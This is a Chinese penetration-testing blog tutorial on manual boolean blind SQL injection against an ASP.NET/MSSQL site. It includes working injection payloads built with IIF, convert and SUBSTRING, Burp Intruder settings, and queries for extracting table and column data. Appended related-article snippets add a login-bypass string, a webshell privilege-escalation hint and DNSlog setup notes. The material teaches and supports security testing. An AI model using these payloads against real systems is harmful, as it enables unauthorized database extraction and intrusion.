一次盲注漏洞的手工测试过程

VSole2023-02-06 10:47:47

在一次测试中,发现一个输入单引号触发页面报错,而输入两个单引号触发页面跳转拒绝访问的页面,比如:

name='  -> Redirecting to /Error.aspx pagename='' -> Redirecting to /AccessDenied.aspx page

尝试多次输入单引号,发现了一定的规律:

name='''    -> Redirecting to /Error.aspx pagename=''''   -> Redirecting to /AccessDenied.aspx pagename='''''  -> Redirecting to /Error.aspx pagename='''''' -> Redirecting to /AccessDenied.aspx page

当输入基数个单引号时,页面跳转 Error.aspx,当输入偶数个单引号时,页面跳转至 AccessDenied.aspx,由于网站服务器是 asp.net + iis 架构的,根据经验判断,后端服务器应该是 MSSQL。

接下来的目标是通过该接口获取数据,由于无法回显详细的报错信息,也无法展示查询的信息,所以只能通过单字符猜解的方式,也就是大家常说的盲注,适用于这个场景下的盲注类型,可以选择通过构造报错语句的方式也就是布尔盲注,还可以选择借助时间函数的方式也就是时间盲注。

在有其他选择的情况下,通常最后选择使用时间盲注,毕竟时间盲注所要消耗的时间是最长的,当然也是最万能的方式,在我的理解中不同注入方式的优先级是这样的:

报错注入 > 联合查询 > 布尔盲注 > 时间盲注 > 数据库带外查询

今天的手工测试方法选用布尔盲注,如果时回显错误信息的情况下,以下查询语句可以返回数据库的名称:

'+convert(int,db_name())+'

因为数据库的名称是字符串,而将字符串转换为数字型时会报错,而今天这个环境下测试时发现:

'+convert(int,db_name())+' -> Redirecting to /Error.aspx page'+convert(char,db_name())+' -> Redirecting to /AccessDenied.aspx page

当注入查询语句后,如果语句报错则页面会跳转至 Error.aspx 页,当语句是正确的时候,页面会跳转至 AccessDenied.aspx,而对于 MSSQL 而言,可以在 SQL 语句中使用 IIF 函数,比如:

SELECT IIF(1>2,"YES","NO")

如果第一个语句 1>2 为真,则返回第一个值,如果为假则返回第二个值,再结合 convert 函数来组合一个布尔查询的语句,如下:

'+convert(char,(SELECT IIF(SUBSTRING(DB_NAME(),1,1)='A',3,@@VERSION)))+' -> Redirecting to /AccessDenied.aspx

这个查询语句将做如下操作:

1、DB_NAME() 函数返回数据库的名称 2、SUBSTRING 函数提取数据库名称的中第一个字符并与字母 A 进行比较 3、IIF 函数判断,数据库名称的第一个字符是否为字母 A,如果是,返回 3,如果不是返回数据库的版本信息 4、最后使用 convert 函数进行强制转换类型为字符,经过 IIF 函数判断的结果为数字,则跳转至 AccessDenied.aspx 页面,如果是数据库的版本信息,强制转换类型失败,页面报错,跳转至 Error.aspx 页。

那么接下来只需不断变换 A 的内容、以及 SUBSTRING 提取的单个字符位置,就能一个一个的猜解出我们想要查询的具体内容。

这个自动化的过程,需要用过工具 BurpSuite 中的 Intruder 功能,选择 Cluster Bomb 攻击模式:

先来检测数据库名称的长度,设置 payload 为数字类型,从 1 到 99:

接下来一个字符一个字符的做猜解,使用的 payload 为所有数字、大小写字母以及下划线:

最后设置 Grep - Extract 功能,将重定向到 AccessDenied.aspx 页面作为规则:

接下来启动攻击后,下图可以看到获取到的数据库名称:

到这里整个盲注测试的过程就结束了,如果想要获取数据库名称之外的信息,可以替换 payload 中 DB_NAME () 部分,比如:

select host_name()   -> 主机名select top 1 table_name from INFORMATION_SCHEMA.tables  -> 获取表名select top 1 column_name from INFORMATION_SCHEMA.columns  -> 获取列名select column_name from table_name ORDER BY column_name OFFSET 2 ROW FETCH FIRST 1 ROW ONLY  -> 获取指定表、列中的数据

最后,如果能使用 sqlmap 跑出来,就上自动化工具吧,快速且简单,手工测试,主要是为了应对特殊情况下的场景,作为一个高级安全工程师,手工测试是基础,如果你还不会,赶紧动手搞起来吧。

数据库测试过程
本作品采用《CC 协议》,转载必须注明作者和本文链接
在一次测试中,发现一个输入单引号触发页面报错,而输入两个单引号触发页面跳转拒绝访问的页面,比如:name=' -> Redirecting to /Error.aspx pagename='' -> Redirecting to /AccessDenied.aspx page. 当输入基数个单引号时,页面跳转 Error.aspx,当输入偶数个单引号时,页面跳转至 AccessDenied.aspx,由于网站服务器是 asp.net + iis 架构的,根据经验判断,后端服务器应该是 MSSQL。因为数据库的名称是字符串,而将字符串转换为数字型时会报错,而今天这个环境下测试时发现:'+convert+' -> Redirecting to /Error.aspx page'+convert+' -> Redirecting to /AccessDenied.aspx page
在渗透测试过程中遇到了MSSQL数据库,市面上也有一些文章,不过大多数讲述的都是如何快速利用注入漏洞getshell的,对于MSSQL数据库的注入漏洞没有很详细地描述。在这里我查阅了很多资料,希望在渗透测试过程中遇到了MSSQL数据库能够相对友好地进行渗透测试,文章针对实战性教学,在概念描述方面有不懂的还请自行百度,谢谢大家~
由于测试过程中很多系统我们能接触到的只有一个登陆界面,所以要充分挖掘漏洞,进行深入操作登录 注册万能密码绕过登录存在 SQL 注入的情况下,有可能使用万能密码直接登录admin' or '1'='1'--. 有超级多登录口 SQL 注入存在 SQL 注入的话直接注出账密有些可以构造用户注入登录,比如熊海 cms 后台登录处存在 sql 注入$login=$_POST['login'];
无回显概念无回显,即执行的payload在站点没有输出,无法进行进一步操作。不同漏洞的无回显1、SQL注入无回显SQL注入,作为OWASP常年占据榜首位置的漏洞,在无回显中也是常见的。
一般网站主站信息都比较少,我们需要在渗透测试过程的信息搜集阶段,我们可能会自动化工具获得来网站其他路径如:后台、其他未授权访问路径,扫描得到敏感文件的路径,从而找到敏感数据。 根据路径爆破工具进行使用与测评分析工具的特点,批量访问发现的路径查找敏感路径。工具爬虫扫描得到敏感文件的路径,找到敏感数据。
提权需要的东西有点儿多,笔记里出现的工具不建议在百度上下载。如果支持aspx,可以上传aspx,通过aspx大马,直接调用默认cmd扫描扫出了其他人的大马可以尝试用?
0x02 部署方法1. 手动部署域名解析假设根域名是dnslog.com,服务器IP是10.10.10.10进行以下配置配置A记录,子域名ns,解析到10.10.10.10. 用于访问平台web,dns.dnslog.com?作为测试时payload中设置的域名,每个用户对应 dns.dnslog.com 下的子域名,如 1.dns.dnslog.com登录平台后可以在API信息中看到对应的地址,子域名随意设置,对应上即可数据库配置登录mysql执行以下命令,bridge.sql在程序的根目录下source bridge.sql. maven生成的jar包位置在target目录下,如dns_log-0.0.1-SNAPSHOT.jarjava -jar dns_log-0.0.1-SNAPSHOT.jar dns.dnslog.com dnslog.dnslog.com 10.10.10.10 a1b2c3d4
无回显漏洞测试
VSole
网络安全专家